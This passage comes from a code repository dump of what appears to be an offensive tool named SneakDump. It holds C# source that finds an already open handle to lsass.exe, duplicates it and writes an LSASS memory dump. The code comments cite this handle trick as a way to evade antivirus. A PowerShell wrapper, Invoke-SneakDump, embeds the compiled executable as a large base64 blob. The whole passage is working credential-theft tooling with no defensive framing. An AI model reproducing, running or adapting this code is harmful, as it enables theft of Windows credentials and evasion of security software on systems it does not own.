0x00000400, 62 | Synchronize = 0x00100000 63 | } 64 | 65 | private enum FileType : uint 66 | { 67 | FileTypeChar = 0x0002, 68 | FileTypeDisk = 0x0001, 69 | FileTypePipe = 0x0003, 70 | FileTypeRemote = 0x8000, 71 | FileTypeUnknown = 0x0000, 72 | } 73 | 74 | private struct OBJECT_TYPE_INFORMATION 75 | { 76 | UNICODE_STRING Name; 77 | int TotalNumberOfObjects; 78 | int TotalNumberOfHandles; 79 | int TotalPagedPoolUsage; 80 | int TotalNonPagedPoolUsage; 81 | int TotalNamePoolUsage; 82 | int TotalHandleTableUsage; 83 | int HighWaterNumberOfObjects; 84 | int HighWaterNumberOfHandles; 85 | int HighWaterPagedPoolUsage; 86 | int HighWaterNonPagedPoolUsage; 87 | int HighWaterNamePoolUsage; 88 | int HighWaterHandleTableUsage; 89 | int InvalidAttributes; 90 | int ValidAccess; 91 | int SecurityRequired; 92 | bool MaintainHandleCount; 93 | int MaintainTypeList; 94 | int PagedPoolUsage; 95 | int NonPagedPoolUsage; 96 | } 97 | 98 | [DllImport("ntdll.dll")] 99 | private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); 100 | 101 | [DllImport("kernel32.dll", SetLastError=true)] 102 | private static extern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId); 103 | 104 | [DllImport("kernel32.dll", SetLastError = true)] 105 | [return: MarshalAs(UnmanagedType.Bool)] 106 | private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, PROCESS_ACCESS_FLAGS dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 107 | 108 | [DllImport("kernel32.dll")] 109 | private static extern IntPtr GetCurrentProcess(); 110 | 111 | [DllImport("ntdll.dll")] 112 | private static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength); 113 | 114 | [DllImport("kernel32.dll")] 115 | private static extern bool CloseHandle(IntPtr hObject); 116 | 117 | [DllImport("kernel32.dll", SetLastError = true)] 118 | private static extern uint QueryDosDevice(string lpDeviceName, StringBuilder lpTargetPath, int ucchMax); 119 | 120 | [DllImport("kernel32.dll")] 121 | private static extern bool GetHandleInformation(IntPtr hObject, out uint lpdwFlags); 122 | 123 | [DllImport("kernel32.dll")] 124 | private static extern FileType GetFileType(IntPtr hFile); 125 | [DllImport("kernel32.dll", SetLastError=true)] 126 | static extern bool QueryFullProcessImageName([In]IntPtr hProcess, [In]int dwFlags, [Out]StringBuilder lpExeName, ref int lpdwSize); 127 | [DllImport("Dbghelp.dll", SetLastError=true)] 128 | static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); 129 | [DllImport("ntdll.dll", SetLastError = true)] 130 | public static extern int RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out int PreviousValue); 131 | 132 | private const int MAX_PATH = 260; 133 | private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; 134 | private const int DUPLICATE_SAME_ACCESS = 0x2; 135 | private const uint FILE_SEQUENTIAL_ONLY = 0x00000004; 136 | private const int CNST_SYSTEM_HANDLE_INFORMATION = 0x10; 137 | private const int OBJECT_TYPE_FILE = 0x24; 138 | private const int PROCESS_QUERY_INFORMATION = 0x400; 139 | private const int PROCESS_VM_READ = 0x10; 140 | 141 | public static void DumpLsass(SYSTEM_HANDLE_INFORMATION handleInfo, string FileName) 142 | { 143 | // Code for getting handles was found here https://stackoverflow.com/questions/54872228/c-sharp-how-to-find-all-handles-associated-with-current-process 144 | // idea for getting existing handles to dump lsass found here https://skelsec.medium.com/duping-av-with-handles-537ef985eb03 145 | IntPtr ipHandle = IntPtr.Zero; 146 | IntPtr openProcessHandle = IntPtr.Zero; 147 | IntPtr hObjectName = IntPtr.Zero; 148 | PROCESS_ACCESS_FLAGS flags = PROCESS_ACCESS_FLAGS.DupHandle | PROCESS_ACCESS_FLAGS.VMRead; 149 | 150 | openProcessHandle = OpenProcess(flags, false, (int)handleInfo.ProcessID); 151 | 152 | bool test = DuplicateHandle(openProcessHandle, new IntPtr(handleInfo.Handle), GetCurrentProcess(), out ipHandle, 0, false, DUPLICATE_SAME_ACCESS); 153 | 154 | int pLength = 0; 155 | hObjectName = Marshal.AllocHGlobal(256 * 1024); 156 | 157 | while ((uint)(NtQueryObject(ipHandle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, pLength, ref pLength)) == STATUS_INFO_LENGTH_MISMATCH) 158 | { 159 | Marshal.FreeHGlobal(hObjectName); 160 | if (pLength == 0) 161 | { 162 | Console.WriteLine("Length returned at zero!"); 163 | 164 | } 165 | hObjectName = Marshal.AllocHGlobal(pLength); 166 | } 167 | OBJECT_NAME_INFORMATION objObjectName = Marshal.PtrToStructure(hObjectName); 168 | 169 | if (objObjectName.Name.Buffer != IntPtr.Zero) 170 | { 171 | string strObjectName = Marshal.PtrToStringUni(objObjectName.Name.Buffer); 172 | 173 | if (strObjectName == "Process") 174 | { 175 | int max = 1024; 176 | StringBuilder str = new StringBuilder(max); 177 | QueryFullProcessImageName(ipHandle,0,str,ref max); 178 | 179 | if (str.ToString().Contains("lsass.exe")) 180 | { 181 | Console.WriteLine("[+] Found open handle to lass: "+ipHandle); 182 | FileStream dumpFile = new FileStream(FileName, FileMode.Create); 183 | Console.WriteLine("[+] Attempting to dump lsass with handle..."); 184 | bool dumped = MiniDumpWriteDump(ipHandle, handleInfo.ProcessID, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); 185 | 186 | dumpFile.Close(); 187 | if (dumped == true) 188 | { 189 | Console.WriteLine("[+] Dumped lsass"); 190 | System.Environment.Exit(1); 191 | } 192 | 193 | } 194 | } 195 | 196 | } 197 | } 198 | 199 | public static void Main(string[] args) 200 | { 201 | if (args.Length < 1) 202 | { 203 | Console.WriteLine("USAGE: SneakDump.exe "); 204 | System.Environment.Exit(0); 205 | } 206 | string FileName = args[0]; 207 | 208 | int outPriv = 0; 209 | 210 | List aHandles = new List(); 211 | int handle_info_size = Marshal.SizeOf(new SYSTEM_HANDLE_INFORMATION()) * 20000; 212 | IntPtr ptrHandleData = IntPtr.Zero; 213 | List lsassHandles = new List(); 214 | //try 215 | //{ 216 | ptrHandleData = Marshal.AllocHGlobal(handle_info_size); 217 | int nLength = 0; 218 | 219 | while (NtQuerySystemInformation(CNST_SYSTEM_HANDLE_INFORMATION, ptrHandleData, handle_info_size, ref nLength) == STATUS_INFO_LENGTH_MISMATCH) 220 | { 221 | handle_info_size = nLength; 222 | Marshal.FreeHGlobal(ptrHandleData); 223 | ptrHandleData = Marshal.AllocHGlobal(nLength); 224 | } 225 | 226 | long handle_count = Marshal.ReadIntPtr(ptrHandleData).ToInt64(); 227 | IntPtr ptrHandleItem = ptrHandleData + Marshal.SizeOf(ptrHandleData); 228 | 229 | for (long lIndex = 0; lIndex < handle_count; lIndex++) 230 | { 231 | SYSTEM_HANDLE_INFORMATION oSystemHandleInfo = Marshal.PtrToStructure(ptrHandleItem); 232 | ptrHandleItem += Marshal.SizeOf(new SYSTEM_HANDLE_INFORMATION()); 233 | if (oSystemHandleInfo.ProcessID == 4) 234 | {continue;} 235 | 236 | DumpLsass(oSystemHandleInfo,FileName); 237 | } 238 | } 239 | } 240 | } -------------------------------------------------------------------------------- /DupDump/Invoke-Dupdump.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SneakDump 2 | { 3 | [CmdletBinding()] 4 | Param ( 5 | [Parameter(Position = 0, Mandatory = $true)] 6 | [ValidateNotNullorEmpty()] 7 | [String] 8 | $Command 9 | ) 10 | $base64data = "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T04AT0JKRUNUX1RZUEVfRklMRQBQUk9DRVNTX1FVRVJZX0lORk9STUFUSU9OAFBST0NFU1NfVk1fUkVBRABOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AT3BlblByb2Nlc3MARHVwbGljYXRlSGFuZGxlAEdldEN1cnJlbnRQcm9jZXNzAE50UXVlcnlPYmplY3QAQ2xvc2VIYW5kbGUAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBRdWVyeURvc0RldmljZQBHZXRIYW5kbGVJbmZvcm1hdGlvbgBHZXRGaWxlVHlwZQBRdWVyeUZ1bGxQcm9jZXNzSW1hZ2VOYW1lAE1pbmlEdW1wV3JpdGVEdW1wAFJ0bEFkanVzdFByaXZpbGVnZQBEdW1wTHNhc3MATWFpbgAuY3RvcgBQcm9jZXNzSUQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGUASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBPYmplY3RfUG9pbnRlcgBBY2Nlc3NNYXNrAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBDcmVhdGVUaHJlYWQAVk1PcGVyYXRpb24AVk1SZWFkAFZNV3JpdGUARHVwSGFuZGxlAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AU3luY2hyb25pemUARmlsZVR5cGVDaGFyAEZpbGVUeXBlRGlzawBGaWxlVHlwZVBpcGUARmlsZVR5cGVSZW1vdGUARmlsZVR5cGVVbmtub3duAFRvdGFsTnVtYmVyT2ZPYmplY3RzAFRvdGFsTnVtYmVyT2ZIYW5kbGVzAFRvdGFsUGFnZWRQb29sVXNhZ2UAVG90YWxOb25QYWdlZFBvb2xVc2FnZQBUb3RhbE5hbWVQb29sVXNhZ2UAVG90YWxIYW5kbGVUYWJsZVVzYWdlAEhpZ2hXYXRlck51bWJlck9mT2JqZWN0cwBIaWdoV2F0ZXJOdW1iZXJPZkhhbmRsZXMASGlnaFdhdGVyUGFnZWRQb29sVXNhZ2UASGlnaFdhdGVyTm9uUGFnZWRQb29sVXNhZ2UASGlnaFdhdGVyTmFtZVBvb2xVc2FnZQBIaWdoV2F0ZXJIYW5kbGVUYWJsZVVzYWdlAEludmFsaWRBdHRyaWJ1dGVzAFZhbGlkQWNjZXNzAFNlY3VyaXR5UmVxdWlyZWQATWFpbnRhaW5IYW5kbGVDb3VudABNYWludGFpblR5cGVMaXN0AFBhZ2VkUG9vbFVzYWdlAE5vblBhZ2VkUG9vbFVzYWdlAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAGR3RGVzaXJlZEFjY2VzcwBiSW5oZXJpdEhhbmRsZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbEFzQXR0cmlidXRlAFVubWFuYWdlZFR5cGUAZHdQcm9jZXNzSWQAaFNvdXJjZVByb2Nlc3NIYW5kbGUAaFNvdXJjZUhhbmRsZQBoVGFyZ2V0UHJvY2Vzc0hhbmRsZQBscFRhcmdldEhhbmRsZQBPdXRBdHRyaWJ1dGUAZHdPcHRpb25zAE9iamVjdEhhbmRsZQBPYmplY3RJbmZvcm1hdGlvbkNsYXNzAE9iamVjdEluZm9ybWF0aW9uAE9iamVjdEluZm9ybWF0aW9uTGVuZ3RoAGhPYmplY3QAbHBEZXZpY2VOYW1lAGxwVGFyZ2V0UGF0aAB1Y2NoTWF4AGxwZHdGbGFncwBoRmlsZQBoUHJvY2VzcwBJbkF0dHJpYnV0ZQBkd0ZsYWdzAGxwRXhlTmFtZQBscGR3U2l6ZQBQcm9jZXNzSWQARHVtcFR5cGUARXhjZXB0aW9uUGFyYW0AVXNlclN0cmVhbVBhcmFtAENhbGxiYWNrUGFyYW0AUHJpdmlsZWdlAGJFbmFibGVQcml2aWxlZ2UASXNUaHJlYWRQcml2aWxlZ2UAUHJldmlvdXNWYWx1ZQBoYW5kbGVJbmZvAEZpbGVOYW1lAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBudGRsbC5kbGwAa2VybmVsMzIuZGxsAERiZ2hlbHAuZGxsAEludFB0cgBaZXJvAE1hcnNoYWwAQWxsb2NIR2xvYmFsAEZyZWVIR2xvYmFsAENvbnNvbGUAV3JpdGVMaW5lAFB0clRvU3RydWN0dXJlAG9wX0luZXF1YWxpdHkAUHRyVG9TdHJpbmdVbmkAU3RyaW5nAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnRhaW5zAENvbmNhdABTeXN0ZW0uSU8ARmlsZVN0cmVhbQBGaWxlTW9kZQBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXMAU2FmZUZpbGVIYW5kbGUAZ2V0X1NhZmVGaWxlSGFuZGxlAFNhZmVIYW5kbGUARGFuZ2Vyb3VzR2V0SGFuZGxlAFN0cmVhbQBDbG9zZQBFbnZpcm9ubWVudABFeGl0AFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAExpc3RgMQBTaXplT2YAUmVhZEludFB0cgBUb0ludDY0AG9wX0FkZGl0aW9uAFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAAAxTABlAG4AZwB0AGgAIAByAGUAdAB1AHIAbgBlAGQAIABhAHQAIAB6AGUAcgBvACEAAA9QAHIAbwBjAGUAcwBzAAATbABzAGEAcwBzAC4AZQB4AGUAAD9bACsAXQAgAEYAbwB1AG4AZAAgAG8AcABlAG4AIABoAGEAbgBkAGwAZQAgAHQAbwAgAGwAYQBzAHMAOgAgAABXWwArAF0AIABBAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAZAB1AG0AcAAgAGwAcwBhAHMAcwAgAHcAaQB0AGgAIABoAGEAbgBkAGwAZQAuAC4ALgAAIVsAKwBdACAARAB1AG0AcABlAGQAIABsAHMAYQBzAHMAAFFVAFMAQQBHAEUAOgAgAFMAbgBlAGEAawBEAHUAbQBwAC4AZQB4AGUAIAA8AHAAYQB0AGgAIAB0AG8AIABkAHUAbQBwACAAZgBpAGwAZQA+AAAAHX1YjJhcRUGj9wpDbxBO6wAIt3pcVhk0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